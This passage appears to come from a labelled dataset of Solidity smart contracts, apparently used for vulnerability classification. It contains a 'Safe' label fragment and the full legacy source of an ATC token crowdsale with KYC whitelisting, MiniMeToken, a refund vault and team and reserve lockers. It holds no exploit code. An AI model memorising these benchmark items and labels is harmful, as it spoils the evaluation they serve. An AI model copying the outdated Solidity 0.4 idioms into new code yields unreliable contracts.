(uint8) { return settings.minNumber; } function maxNumber() public view returns (uint8) { return settings.maxNumber; } function feeBips() public view returns (uint16) { return settings.feeBips; } ////////////////////////////////////////////////////// }",Safe,8,8 0x0356a7871e3ab819a5183bd367ea6187f6e3acc8_ReserveLocker.sol,"pragma solidity ^0.4.18; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ contract SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } /** * @title KYC * @dev KYC contract handles the white list for ASTCrowdsale contract * Only accounts registered in KYC contract can buy AST token. * Admins can register account, and the reason why */ contract KYC is Ownable { // check the address is registered for token sale mapping (address => bool) public registeredAddress; // check the address is admin of kyc contract mapping (address => bool) public admin; event Registered(address indexed _addr); event Unregistered(address indexed _addr); event NewAdmin(address indexed _addr); event ClaimedTokens(address _token, address owner, uint256 balance); /** * @dev check whether the address is registered for token sale or not. * @param _addr address */ modifier onlyRegistered(address _addr) { require(registeredAddress[_addr]); _; } /** * @dev check whether the msg.sender is admin or not */ modifier onlyAdmin() { require(admin[msg.sender]); _; } function KYC() { admin[msg.sender] = true; } /** * @dev set new admin as admin of KYC contract * @param _addr address The address to set as admin of KYC contract */ function setAdmin(address _addr) public onlyOwner { require(_addr != address(0) && admin[_addr] == false); admin[_addr] = true; NewAdmin(_addr); } /** * @dev register the address for token sale * @param _addr address The address to register for token sale */ function register(address _addr) public onlyAdmin { require(_addr != address(0) && registeredAddress[_addr] == false); registeredAddress[_addr] = true; Registered(_addr); } /** * @dev register the addresses for token sale * @param _addrs address[] The addresses to register for token sale */ function registerByList(address[] _addrs) public onlyAdmin { for(uint256 i = 0; i < _addrs.length; i++) { require(_addrs[i] != address(0) && registeredAddress[_addrs[i]] == false); registeredAddress[_addrs[i]] = true; Registered(_addrs[i]); } } /** * @dev unregister the registered address * @param _addr address The address to unregister for token sale */ function unregister(address _addr) public onlyAdmin onlyRegistered(_addr) { registeredAddress[_addr] = false; Unregistered(_addr); } /** * @dev unregister the registered addresses * @param _addrs address[] The addresses to unregister for token sale */ function unregisterByList(address[] _addrs) public onlyAdmin { for(uint256 i = 0; i < _addrs.length; i++) { require(registeredAddress[_addrs[i]]); registeredAddress[_addrs[i]] = false; Unregistered(_addrs[i]); } } function claimTokens(address _token) public onlyOwner { if (_token == 0x0) { owner.transfer(this.balance); return; } ERC20Basic token = ERC20Basic(_token); uint256 balance = token.balanceOf(this); token.transfer(owner, balance); ClaimedTokens(_token, owner, balance); } } /* Copyright 2016, Jordi Baylina This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ /// @title MiniMeToken Contract /// @author Jordi Baylina /// @dev This token contract's goal is to make it easy for anyone to clone this /// token using the token distribution at a given block, this will allow DAO's /// and DApps to upgrade their features in a decentralized manner without /// affecting the original token /// @dev It is ERC20 compliant, but still needs to under go further testing. contract Controlled { /// @notice The address of the controller is the only address that can call /// a function with this modifier modifier onlyController { require(msg.sender == controller); _; } address public controller; function Controlled() public { controller = msg.sender;} /// @notice Changes the controller of the contract /// @param _newController The new controller of the contract function changeController(address _newController) public onlyController { controller = _newController; } } /// @dev The token controller contract must implement these functions contract TokenController { /// @notice Called when `_owner` sends ether to the MiniMe Token contract /// @param _owner The address that sent the ether to create tokens /// @return True if the ether is accepted, false if it throws function proxyPayment(address _owner) public payable returns(bool); /// @notice Notifies the controller about a token transfer allowing the /// controller to react if desired /// @param _from The origin of the transfer /// @param _to The destination of the transfer /// @param _amount The amount of the transfer /// @return False if the controller does not authorize the transfer function onTransfer(address _from, address _to, uint _amount) public returns(bool); /// @notice Notifies the controller about an approval allowing the /// controller to react if desired /// @param _owner The address that calls `approve()` /// @param _spender The spender in the `approve()` call /// @param _amount The amount in the `approve()` call /// @return False if the controller does not authorize the approval function onApprove(address _owner, address _spender, uint _amount) public returns(bool); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; } /// @dev The actual token contract, the default controller is the msg.sender /// that deploys the contract, so usually this token will be deployed by a /// token controller contract, which Giveth will call a ""Campaign"" contract MiniMeToken is Controlled { string public name; //The Token's name: e.g. DigixDAO Tokens uint8 public decimals; //Number of decimals of the smallest unit string public symbol; //An identifier: e.g. REP string public version = 'MMT_0.2'; //An arbitrary versioning scheme /// @dev `Checkpoint` is the structure that attaches a block number to a /// given value, the block number attached is the one that last changed the /// value struct Checkpoint { // `fromBlock` is the block number that the value was generated from uint128 fromBlock; // `value` is the amount of tokens at a specific block number uint128 value; } // `parentToken` is the Token address that was cloned to produce this token; // it will be 0x0 for a token that was not cloned MiniMeToken public parentToken; // `parentSnapShotBlock` is the block number from the Parent Token that was // used to determine the initial distribution of the Clone Token uint public parentSnapShotBlock; // `creationBlock` is the block number that the Clone Token was created uint public creationBlock; // `balances` is the map that tracks the balance of each address, in this // contract when the balance changes the block number that the change // occurred is also included in the map mapping (address => Checkpoint[]) balances; // `allowed` tracks any extra transfer rights as in all ERC20 tokens mapping (address => mapping (address => uint256)) allowed; // Tracks the history of the `totalSupply` of the token Checkpoint[] totalSupplyHistory; // Flag that determines if the token is transferable or not. bool public transfersEnabled; // The factory used to create new clone tokens MiniMeTokenFactory public tokenFactory; //////////////// // Constructor //////////////// /// @notice Constructor to create a MiniMeToken /// @param _tokenFactory The address of the MiniMeTokenFactory contract that /// will create the Clone token contracts, the token factory needs to be /// deployed first /// @param _parentToken Address of the parent token, set to 0x0 if it is a /// new token /// @param _parentSnapShotBlock Block of the parent token that will /// determine the initial distribution of the clone token, set to 0 if it /// is a new token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred function MiniMeToken( address _tokenFactory, address _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public { tokenFactory = MiniMeTokenFactory(_tokenFactory); name = _tokenName; // Set the name decimals = _decimalUnits; // Set the decimals symbol = _tokenSymbol; // Set the symbol parentToken = MiniMeToken(_parentToken); parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } /////////////////// // ERC20 Methods /////////////////// /// @notice Send `_amount` tokens to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); return doTransfer(msg.sender, _to, _amount); } /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it /// is approved by `_from` /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function transferFrom(address _from, address _to, uint256 _amount ) public returns (bool success) { // The controller of this contract can move tokens around at will, // this is important to recognize! Confirm that you trust the // controller of this contract, which in most situations should be // another open source smart contract or 0x0 if (msg.sender != controller) { require(transfersEnabled); // The standard ERC 20 transferFrom functionality if (allowed[_from][msg.sender] < _amount) return false; allowed[_from][msg.sender] -= _amount; } return doTransfer(_from, _to, _amount); } /// @dev This is the actual transfer function in the token contract, it can /// only be called by other functions in this contract. /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function doTransfer(address _from, address _to, uint _amount ) internal returns(bool) { if (_amount == 0) { return true; } require(parentSnapShotBlock < block.number); // Do not allow transfer to 0x0 or the token contract itself require((_to != 0) && (_to != address(this))); // If the amount being transfered is more than the balance of the // account the transfer returns false var previousBalanceFrom = balanceOfAt(_from, block.number); if (previousBalanceFrom < _amount) { return false; } // Alerts the token controller of the transfer if (isContract(controller)) { require(TokenController(controller).onTransfer(_from, _to, _amount)); } // First update the balance array with the new value for the address // sending the tokens updateValueAtNow(balances[_from], previousBalanceFrom - _amount); // Then update the balance array with the new value for the address // receiving the tokens var previousBalanceTo = balanceOfAt(_to, block.number); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(balances[_to], previousBalanceTo + _amount); // An event to make the transfer easy to find on the blockchain Transfer(_from, _to, _amount); return true; } /// @param _owner The address that's balance is being requested /// @return The balance of `_owner` at the current block function balanceOf(address _owner) public constant returns (uint256 balance) { return balanceOfAt(_owner, block.number); } /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on /// its behalf. This is a modified version of the ERC20 approve function /// to be a little bit safer /// @param _spender The address of the account able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the approval was successful function approve(address _spender, uint256 _amount) public returns (bool success) { require(transfersEnabled); // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender,0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); // Alerts the token controller of the approve function call if (isContract(controller)) { require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); } allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } /// @dev This function makes it easy to read the `allowed[]` map /// @param _owner The address of the account that owns the token /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens of _owner that _spender is allowed /// to spend function allowance(address _owner, address _spender ) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /// @notice `msg.sender` approves `_spender` to send `_amount` tokens on /// its behalf, and then a function is triggered in the contract that is /// being approved, `_spender`. This allows users to use their tokens to /// interact with contracts in one function call instead of two /// @param _spender The address of the contract able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the function call was successful function approveAndCall(address _spender, uint256 _amount, bytes _extraData ) public returns (bool success) { require(approve(_spender, _amount)); ApproveAndCallFallBack(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } /// @dev This function makes it easy to get the total number of tokens /// @return The total number of tokens function totalSupply() public constant returns (uint) { return totalSupplyAt(block.number); } //////////////// // Query balance and totalSupply in History //////////////// /// @dev Queries the balance of `_owner` at a specific `_blockNumber` /// @param _owner The address from which the balance will be retrieved /// @param _blockNumber The block number when the balance is queried /// @return The balance at `_blockNumber` function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) { // These next few lines are used when the balance of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.balanceOfAt` be queried at the // genesis block for that token as this contains initial balance of // this token if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { // Has no parent return 0; } // This will return the expected balance during normal situations } else { return getValueAt(balances[_owner], _blockNumber); } } /// @notice Total amount of tokens at a specific `_blockNumber`. /// @param _blockNumber The block number when the totalSupply is queried /// @return The total amount of tokens at `_blockNumber` function totalSupplyAt(uint _blockNumber) public constant returns(uint) { // These next few lines are used when the totalSupply of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.totalSupplyAt` be queried at the // genesis block for this token as that contains totalSupply of this // token at this block number. if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } // This will return the expected totalSupply during normal situations } else { return getValueAt(totalSupplyHistory, _blockNumber); } } //////////////// // Clone Token Method //////////////// /// @notice Creates a new clone token with the initial distribution being /// this token at `_snapshotBlock` /// @param _cloneTokenName Name of the clone token /// @param _cloneDecimalUnits Number of decimals of the smallest unit /// @param _cloneTokenSymbol Symbol of the clone token /// @param _snapshotBlock Block when the distribution of the parent token is /// copied to set the initial distribution of the new clone token; /// if the block is zero than the actual block, the current block is used /// @param _transfersEnabled True if transfers are allowed in the clone /// @return The address of the new MiniMeToken Contract function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) public returns(address) { if (_snapshotBlock == 0) _snapshotBlock = block.number; MiniMeToken cloneToken = tokenFactory.createCloneToken( this, _snapshotBlock, _cloneTokenName, _cloneDecimalUnits, _cloneTokenSymbol, _transfersEnabled ); cloneToken.changeController(msg.sender); // An event to make the token easy to find on the blockchain NewCloneToken(address(cloneToken), _snapshotBlock); return address(cloneToken); } //////////////// // Generate and destroy tokens //////////////// /// @notice Generates `_amount` tokens that are assigned to `_owner` /// @param _owner The address that will be assigned the new tokens /// @param _amount The quantity of tokens generated /// @return True if the tokens are generated correctly function generateTokens(address _owner, uint _amount ) public onlyController returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow uint previousBalanceTo = balanceOf(_owner); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); updateValueAtNow(balances[_owner], previousBalanceTo + _amount); Transfer(0, _owner, _amount); return true; } /// @notice Burns `_amount` tokens from `_owner` /// @param _owner The address that will lose the tokens /// @param _amount The quantity of tokens to burn /// @return True if the tokens are burned correctly function destroyTokens(address _owner, uint _amount ) onlyController public returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply >= _amount); uint previousBalanceFrom = balanceOf(_owner); require(previousBalanceFrom >= _amount); updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); Transfer(_owner, 0, _amount); return true; } //////////////// // Enable tokens transfers //////////////// /// @notice Enables token holders to transfer their tokens freely if true /// @param _transfersEnabled True if transfers are allowed in the clone function enableTransfers(bool _transfersEnabled) public onlyController { transfersEnabled = _transfersEnabled; } //////////////// // Internal helper functions to query and set a value in a snapshot array //////////////// /// @dev `getValueAt` retrieves the number of tokens at a given block number /// @param checkpoints The history of values being queried /// @param _block The block number to retrieve the value at /// @return The number of tokens being queried function getValueAt(Checkpoint[] storage checkpoints, uint _block ) constant internal returns (uint) { if (checkpoints.length == 0) return 0; // Shortcut for the actual value if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; // Binary search of the value in the array uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1)/ 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } /// @dev `updateValueAtNow` used to update the `balances` map and the /// `totalSupplyHistory` /// @param checkpoints The history of data being updated /// @param _value The new number of tokens function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value ) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } /// @dev Helper function to return a min betwen the two uints function min(uint a, uint b) pure internal returns (uint) { return a < b ? a : b; } /// @notice The fallback function: If the contract's controller has not been /// set to 0, then the `proxyPayment` method is called which relays the /// ether and creates tokens as described in the token controller contract function () public payable { require(isContract(controller)); require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender)); } ////////// // Safety Methods ////////// /// @notice This method can be used by the controller to extract mistakenly /// sent tokens to this contract. /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function claimTokens(address _token) public onlyController { if (_token == 0x0) { controller.transfer(this.balance); return; } MiniMeToken token = MiniMeToken(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); ClaimedTokens(_token, controller, balance); } //////////////// // Events //////////////// event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); } //////////////// // MiniMeTokenFactory //////////////// /// @dev This contract is used to generate clone contracts from a contract. /// In solidity this is the way to create a contract from a contract of the /// same class contract MiniMeTokenFactory { /// @notice Update the DApp by creating a new token with new functionalities /// the msg.sender becomes the controller of this clone token /// @param _parentToken Address of the token being cloned /// @param _snapshotBlock Block of the parent token that will /// determine the initial distribution of the clone token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred /// @return The address of the new token contract function createCloneToken( address _parentToken, uint _snapshotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public returns (MiniMeToken) { MiniMeToken newToken = new MiniMeToken( this, _parentToken, _snapshotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled ); newToken.changeController(msg.sender); return newToken; } } contract ATC is MiniMeToken { mapping (address => bool) public blacklisted; bool public generateFinished; // @dev ATC constructor just parametrizes the MiniMeToken constructor function ATC(address _tokenFactory) MiniMeToken( _tokenFactory, 0x0, // no parent token 0, // no snapshot block number from parent ""Aston Token"", // Token name 18, // Decimals ""ATC"", // Symbol false // Enable transfers ) {} function generateTokens(address _owner, uint _amount ) public onlyController returns (bool) { require(generateFinished == false); //check msg.sender (controller ??) return super.generateTokens(_owner, _amount); } function doTransfer(address _from, address _to, uint _amount ) internal returns(bool) { require(blacklisted[_from] == false); return super.doTransfer(_from, _to, _amount); } function finishGenerating() public onlyController returns (bool success) { generateFinished = true; return true; } function blacklistAccount(address tokenOwner) public onlyController returns (bool success) { blacklisted[tokenOwner] = true; return true; } function unBlacklistAccount(address tokenOwner) public onlyController returns (bool success) { blacklisted[tokenOwner] = false; return true; } } /** * @title RefundVault * @dev This contract is used for storing funds while a crowdsale * is in progress. Supports refunding the money if crowdsale fails, * and forwarding it if crowdsale is successful. */ contract RefundVault is Ownable, SafeMath{ enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; mapping (address => uint256) public refunded; State public state; address[] public reserveWallet; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); /** * @dev This constructor sets the addresses of * 10 reserve wallets. * and forwarding it if crowdsale is successful. * @param _reserveWallet address[5] The addresses of reserve wallet. */ function RefundVault(address[] _reserveWallet) { state = State.Active; reserveWallet = _reserveWallet; } /** * @dev This function is called when user buy tokens. Only RefundVault * contract stores the Ether user sent which forwarded from crowdsale * contract. * @param investor address The address who buy the token from crowdsale. */ function deposit(address investor) onlyOwner payable { require(state == State.Active); deposited[investor] = add(deposited[investor], msg.value); } event Transferred(address _to, uint _value); /** * @dev This function is called when crowdsale is successfully finalized. */ function close() onlyOwner { require(state == State.Active); state = State.Closed; uint256 balance = this.balance; uint256 reserveAmountForEach = div(balance, reserveWallet.length); for(uint8 i = 0; i < reserveWallet.length; i++){ reserveWallet[i].transfer(reserveAmountForEach); Transferred(reserveWallet[i], reserveAmountForEach); } Closed(); } /** * @dev This function is called when crowdsale is unsuccessfully finalized * and refund is required. */ function enableRefunds() onlyOwner { require(state == State.Active); state = State.Refunding; RefundsEnabled(); } /** * @dev This function allows for user to refund Ether. */ function refund(address investor) returns (bool) { require(state == State.Refunding); if (refunded[investor] > 0) { return false; } uint256 depositedValue = deposited[investor]; deposited[investor] = 0; refunded[investor] = depositedValue; investor.transfer(depositedValue); Refunded(investor, depositedValue); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused { paused = false; Unpause(); } } /** * @title TokenTimelock * @dev TokenTimelock is a token holder contract that will allow a * beneficiary to extract the tokens after a given release time */ contract ReserveLocker is SafeMath{ using SafeERC20 for ERC20Basic; ERC20Basic public token; ATCCrowdSale public crowdsale; address public beneficiary; function ReserveLocker(address _token, address _crowdsale, address _beneficiary) { require(_token != 0x00); require(_crowdsale != 0x00); require(_beneficiary != 0x00); token = ERC20Basic(_token); crowdsale = ATCCrowdSale(_crowdsale); beneficiary = _beneficiary; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public { uint256 finalizedTime = crowdsale.finalizedTime(); require(finalizedTime > 0 && now > add(finalizedTime, 2 years)); uint256 amount = token.balanceOf(this); require(amount > 0); token.safeTransfer(beneficiary, amount); } function setToken(address newToken) public { require(msg.sender == beneficiary); require(newToken != 0x00); token = ERC20Basic(newToken); } } /** * @title TokenTimelock * @dev TokenTimelock is a token holder contract that will allow a * beneficiary to extract the tokens after a given release time */ contract TeamLocker is SafeMath{ using SafeERC20 for ERC20Basic; ERC20Basic public token; ATCCrowdSale public crowdsale; address[] public beneficiaries; uint256 public collectedTokens; function TeamLocker(address _token, address _crowdsale, address[] _beneficiaries) { require(_token != 0x00); require(_crowdsale != 0x00); for (uint i = 0; i < _beneficiaries.length; i++) { require(_beneficiaries[i] != 0x00); } token = ERC20Basic(_token); crowdsale = ATCCrowdSale(_crowdsale); beneficiaries = _beneficiaries; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public { uint256 balance = token.balanceOf(address(this)); uint256 total = add(balance, collectedTokens); uint256 finalizedTime = crowdsale.finalizedTime(); require(finalizedTime > 0); uint256 lockTime1 = add(finalizedTime, 183 days); // 6 months uint256 lockTime2 = add(finalizedTime, 1 years); // 1 year uint256 currentRatio = 20; if (now >= lockTime1) { currentRatio = 50; } if (now >= lockTime2) { currentRatio = 100; } uint256 releasedAmount = div(mul(total, currentRatio), 100); uint256 grantAmount = sub(releasedAmount, collectedTokens); require(grantAmount > 0); collectedTokens = add(collectedTokens, grantAmount); uint256 grantAmountForEach = div(grantAmount, 3); for (uint i = 0; i < beneficiaries.length; i++) { token.safeTransfer(beneficiaries[i], grantAmountForEach); } } function setToken(address newToken) public { require(newToken != 0x00); bool isBeneficiary; for (uint i = 0; i < beneficiaries.length; i++) { if (msg.sender == beneficiaries[i]) { isBeneficiary = true; } } require(isBeneficiary); token = ERC20Basic(newToken); } } contract ATCCrowdSale is Ownable, SafeMath, Pausable { KYC public kyc; ATC public token; RefundVault public vault; address public presale; address public bountyAddress; //5% for bounty address public partnersAddress; //15% for community groups & partners address public ATCReserveLocker; //15% with 2 years lock address public teamLocker; // 15% with 2 years vesting struct Period { uint256 startTime; uint256 endTime; uint256 bonus; // used to calculate rate with bonus. ragne 0 ~ 15 (0% ~ 15%) } uint256 public baseRate; // 1 ETH = 1500 ATC uint256[] public additionalBonusAmounts; Period[] public periods; uint8 constant public MAX_PERIOD_COUNT = 8; uint256 public weiRaised; uint256 public maxEtherCap; uint256 public minEtherCap; mapping (address => uint256) public beneficiaryFunded; address[] investorList; mapping (address => bool) inInvestorList; address public ATCController; bool public isFinalized; uint256 public refundCompleted; bool public presaleFallBackCalled; uint256 public finalizedTime; bool public initialized; event CrowdSaleTokenPurchase(address indexed _investor, address indexed _beneficiary, uint256 _toFund, uint256 _tokens); event StartPeriod(uint256 _startTime, uint256 _endTime, uint256 _bonus); event Finalized(); event PresaleFallBack(uint256 _presaleWeiRaised); event PushInvestorList(address _investor); event RefundAll(uint256 _numToRefund); event ClaimedTokens(address _claimToken, address owner, uint256 balance); event Initialize(); function initialize ( address _kyc, address _token, address _vault, address _presale, address _bountyAddress, address _partnersAddress, address _ATCReserveLocker, address _teamLocker, address _tokenController, uint256 _maxEtherCap, uint256 _minEtherCap, uint256 _baseRate, uint256[] _additionalBonusAmounts ) onlyOwner { require(!initialized); require(_kyc != 0x00 && _token != 0x00 && _vault != 0x00 && _presale != 0x00); require(_bountyAddress != 0x00 && _partnersAddress != 0x00); require(_ATCReserveLocker != 0x00 && _teamLocker != 0x00); require(_tokenController != 0x00); require(0 < _minEtherCap && _minEtherCap < _maxEtherCap); require(_baseRate > 0); require(_additionalBonusAmounts[0] > 0); for (uint i = 0; i < _additionalBonusAmounts.length - 1; i++) { require(_additionalBonusAmounts[i] < _additionalBonusAmounts[i + 1]); } kyc = KYC(_kyc); token = ATC(_token); vault = RefundVault(_vault); presale = _presale; bountyAddress = _bountyAddress; partnersAddress = _partnersAddress; ATCReserveLocker = _ATCReserveLocker; teamLocker = _teamLocker; ATCController = _tokenController; maxEtherCap = _maxEtherCap; minEtherCap = _minEtherCap; baseRate = _baseRate; additionalBonusAmounts = _additionalBonusAmounts; initialized = true; Initialize(); } function () public payable { buy(msg.sender); } function presaleFallBack(uint256 _presaleWeiRaised) public returns (bool) { require(!presaleFallBackCalled); require(msg.sender == presale); weiRaised = _presaleWeiRaised; presaleFallBackCalled = true; PresaleFallBack(_presaleWeiRaised); return true; } function buy(address beneficiary) public payable whenNotPaused { // check validity require(presaleFallBackCalled); require(beneficiary != 0x00); require(kyc.registeredAddress(beneficiary)); require(onSale()); require(validPurchase()); require(!isFinalized); // calculate eth amount uint256 weiAmount = msg.value; uint256 toFund; uint256 postWeiRaised = add(weiRaised, weiAmount); if (postWeiRaised > maxEtherCap) { toFund = sub(maxEtherCap, weiRaised); } else { toFund = weiAmount; } require(toFund > 0); require(weiAmount >= toFund); uint256 rate = calculateRate(toFund); uint256 tokens = mul(toFund, rate); uint256 toReturn = sub(weiAmount, toFund); pushInvestorList(msg.sender); weiRaised = add(weiRaised, toFund); beneficiaryFunded[beneficiary] = add(beneficiaryFunded[beneficiary], toFund); token.generateTokens(beneficiary, tokens); if (toReturn > 0) { msg.sender.transfer(toReturn); } forwardFunds(toFund); CrowdSaleTokenPurchase(msg.sender, beneficiary, toFund, tokens); } function pushInvestorList(address investor) internal { if (!inInvestorList[investor]) { inInvestorList[investor] = true; investorList.push(investor); PushInvestorList(investor); } } function validPurchase() internal view returns (bool) { bool nonZeroPurchase = msg.value != 0; return nonZeroPurchase && !maxReached(); } function forwardFunds(uint256 toFund) internal { vault.deposit.value(toFund)(msg.sender); } /** * @dev Checks whether minEtherCap is reached * @return true if min ether cap is reaced */ function minReached() public view returns (bool) { return weiRaised >= minEtherCap; } /** * @dev Checks whether maxEtherCap is reached * @return true if max ether cap is reaced */ function maxReached() public view returns (bool) { return weiRaised == maxEtherCap; } function getPeriodBonus() public view returns (uint256) { bool nowOnSale; uint256 currentPeriod; for (uint i = 0; i < periods.length; i++) { if (periods[i].startTime <= now && now <= periods[i].endTime) { nowOnSale = true; currentPeriod = i; break; } } require(nowOnSale); return periods[currentPeriod].bonus; } /** * @dev rate = baseRate * (100 + bonus) / 100 */ function calculateRate(uint256 toFund) public view returns (uint256) { uint bonus = getPeriodBonus(); // bonus for eth amount if (additionalBonusAmounts[0] <= toFund) { bonus = add(bonus, 5); // 5% amount bonus for more than 300 ETH } if (additionalBonusAmounts[1] <= toFund) { bonus = add(bonus, 5); // 10% amount bonus for more than 6000 ETH } if (additionalBonusAmounts[2] 